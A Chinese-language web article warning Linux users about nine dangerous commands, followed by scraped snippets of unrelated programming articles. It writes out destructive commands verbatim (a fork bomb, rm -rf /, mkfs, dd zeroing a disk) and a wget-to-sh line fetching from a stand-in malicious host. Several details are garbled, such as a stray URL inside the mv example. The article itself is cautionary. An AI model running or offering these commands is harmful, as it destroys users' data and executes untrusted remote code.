9个使用时必须时刻警惕的Linux命令

Linux shell/terminal命令非常强大,即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。为了避免这样的事情发生,我们应该时刻注意PHP代码&命令,今天为大家带来9个必须时刻警惕的Linux命令&代码。

Linux shell/terminal 命令非常强大,即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。

在一些情况下,Linux 甚至不会询问你而直接执行命令,导致你丢失各种数据信息。

一般来说在 Web 上推荐新的 Linux 用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。

这里我收集了一些对系统有危害的 Linux 代码,帮助你避免他们。请记住:这些代码非常危险,甚至可以经过修改,变得更加有危害性。

还有一些事情需要注意:一些命令只在 Ubuntu 中有 sudo 前缀时是有危害的。其他发行版本的 Linux,则是在作为根目录命令时会有危害。

1. Linux Fork Bomb Command

:(){ :: & };: 以 Fork 炸弹 闻名,是一个拒绝服务攻击的 Linux 系统。:(){ :: & };:

是一个 bash 函数。只要被执行,他会不断重复,直到系统被冻结。

你只能重启系统解决这个问题。所以当你在 Linux 界面执行这个命令时一定要注意。

2. Mv Folder/Dev/Null Command

mv http://www.11.qixoo.com/folder/dev/null 也是一个危险的命令。Dev/null 或者 null device 是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功。这就是我们常说的 bit bucked 或者 black hole。

3. Rm -Rf Command

rm -rf命令在 Linux 系统中可以快速删除文件夹及其内容。如果,你不知道如何正确使用它,你就只有哭了。

列下m-rf 命令最常见的组合和选择:

rm command :删除 Linux 系统的文件

rm -f command:不需提示,删除文件中的只读文件

rm -r command 循环删除文件夹的内容

rm -d command :删除空目录,如果非空目录则不会执行该操作

rm -rf/ command:强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令。

rm -rf* command :强制删除当前目录中的所有内容(当前工作目录)和字文件夹

rm -rf. command:强制删除当前文件夹目录/子目录中的所有内容 。同 rm -r.[^.]*

The rm -r.[^.]* command :删除文件及文件夹,带有删除提示

4. Mkfs Command

如果你不知 mkfs 的作用,那么它也是一个危险的命令,mkfs 之后写的任何命令都将会被一个空白的 linux 文件系统格式化、替代。

下面列举出需要管理员权限,格式化硬盘的命令:

mkfs

mkfs.ext3

mkfs.bfs

mkfs.ext2

mkfs.minix

mkfs.msdos mkfs.reiserfs

mkfs.vfat

mkfs.cramfs 也可以和上面的代码做同样的事情,不过不需要管理源权限。

5. Tar Bomb

tar 命令用于将多个文件以 .tar 格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb 可以由他创建。

当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

当收到 tar 文件,定期创建一个新的保护目录,然后在解压前将接受的 tar 文件放到这个目录中,你可以避免成为 tar bomb 的受害者。

6. Dd Command

Dd命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。

下面列举 dd 命令:

dd if=/dev/hda of=/dev/hdb

dd if=/dev/hda of=/dev/sdb

dd if=something of=/dev/hda

dd if=something of=/dev/sda

下面这个命令会将整个主硬盘清零:dd if=/dev/zero of=/dev/had

7. Shell Script Code

有时候,你可能会被人坑,给你一个 shell 脚本文件,让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样:wget http://some_malicious_source -O- sh。 wget 将会在 sh 狭隘脚本时下载脚本。

8. Malicious Source Code

也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。

9. Decompression Bomb

你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到 KB。事实上,该小尺寸的压缩文件包含高度压缩数据。

只要文件解压,上百 GB 数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件。

时间: 2024-12-25 18:20:44

9个使用时必须时刻警惕的Linux命令的相关文章

9个必须时刻警惕的Linux命令&代码

Linux shell/terminal命令非常强大,即使一个简单的命令就可能导致文件夹.文件或者路径文件夹等被删除. 在一些情况下,Linux甚至不会询问你而直接执行命令,导致你丢失各种数据信息. 一般来说在Web上推荐新的Linux用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了. 这里我收集了一些对系统有危害的Linux代码,帮助你避免他们.请记住:这些代码非常危险,甚至可以经过修改,变得更加有危害性. 还有一些事情需要注意:一些命令只在Ubunt

EntityFrameWork 使用时碰到的小问题

EntityFrameWork 使用时碰到的小问题 1,在使用orm访问数据库的相目里,也要引用EntityFrameWork.dll,否则无法使用orm 否则,编译错误 错误 5 "System.Data.Entity.DbSet`1<DbAccess.Entity.Dept>"不包含"Where"的定义,并且找不到可接受类型为"System.Data.Entity.DbSet`1<DbAccess.Entity.Dept>&qu

Highcharts使用时遇到的问题及解决方案

Highcharts使用时遇到的问题及解决方案 Highcharts图表控件功能强大,对细节处理得很细致,是目前使用最为广泛的图表控件.本文总结了作者在使用Highcharts时遇到的问题及解决方案. 1. 图表颜色设置 图表的边框色,背景色及点.线的颜色都是可以设置的,其中边框色(borderColor).背景色(backgroundColor)在chart中设置: chart: { backgroundColor: 'pink',// 背景色 borderColor: 'red',// 边框

bootstrap使用时 细节心得

最近国庆7天 还原某丽说 APP PC端网页(作业)时  全程使用bootstrap制作 也遇到了以前很少碰到过的问题 bootstrap 本身修改了某些默认样式  即使在 未给标签class命名某个bootstrap模板时  某些标签也被修改过  这样会容易使某些像我一样的新手误以为自己写的代码哪里出了问题  而浪费很多时间去找一个 没有错误的错误  所以在这里给各位同学做个温馨提示 例如 fieldset 中 lengd标签中的文字 应该是水平居中 位于两侧横线中间 并且垂直居中于横线 但在

c语言:宏里面参数不加括号容易出错,在使用时尽量加括号及举例

宏里面参数不加括号容易出错,在使用时尽量加括号 程序1: #include<stdio.h> #define SQARE(X) X*X int main() { int  n = 10; int m=SQARE(n); printf("m=%d\n",m); return 0; } 结果: m=100 请按任意键继续. . . 分析:貌似没有出问题,请看下面两个例子 程序2: #include<stdio.h> #define SQARE(X) X*X int 

RHEL6.5上Oracle ACFS与Linux samba一起使用时遇到的bug

RHEL上的Oracle ACFS与linux samba一起使用时遇到的bug 一.环境介绍: cat /etc/issue的结果为: Red Hat Enterprise Linux Server release 6.5 (Santiago) Kernel \r on an \m GI的详细patch信息:仅仅安装了GI的11.2.0.4版本,没有打任何的GI psu,没有打任何的GI patch 二.问题说明: 这是一套rhel6.5的rac,使用的是Oracle GI集群软件,使用了ac

解决导航、Tabbar、tableview配合使用时,tableview错位的问题

导航.Tabbar.tableview配合使用时,tableview会出现错位的情况,特别是除tabbar的第一个选项的tableview, 解决方法非常简单,如下: self.tabBarController = [[UITabBarController alloc] init]; self.tabBarController.edgesForExtendedLayout = UIRectEdgeNone;//防止tableview错位 _tabBarControllerNav = [[UINa

在使用时的区别是当我们想访问一个对象(object)的元素dollars 和yens

以上两种定义的唯一区别在于左边的定义中我们给了union一个名字price,而在右边的定义中我们没给.在使用时的区别是当我们想访问一个对象(object)的元素dollars 和yens 时,在前一种定义的情况下,需要使用: book.price.dollars book.price.yens 而在后面一种定义下,我们直接使用: book.dollars book.yens 再一次提醒,因为这是一个联合(union),域dollars 和yens 占据的是同一块内存空间,所以它们不能被用来存储两

关于pthread_join函数在使用时如何不阻塞主线程的一种探索

pthread_join 函数是会阻塞主线程的,这会让很多java程序员不适应.因为在java中 start以后一个线程就执行执行了.主线程不会被阻塞. 而在linux中 join是会阻塞的. 那么如何使用join的时候 不阻塞主线程呢.我给出了一个解决方法. #include <stdio.h> #include <pthread.h> void *print_count(int c); void thread_start(); int main(int argc, char c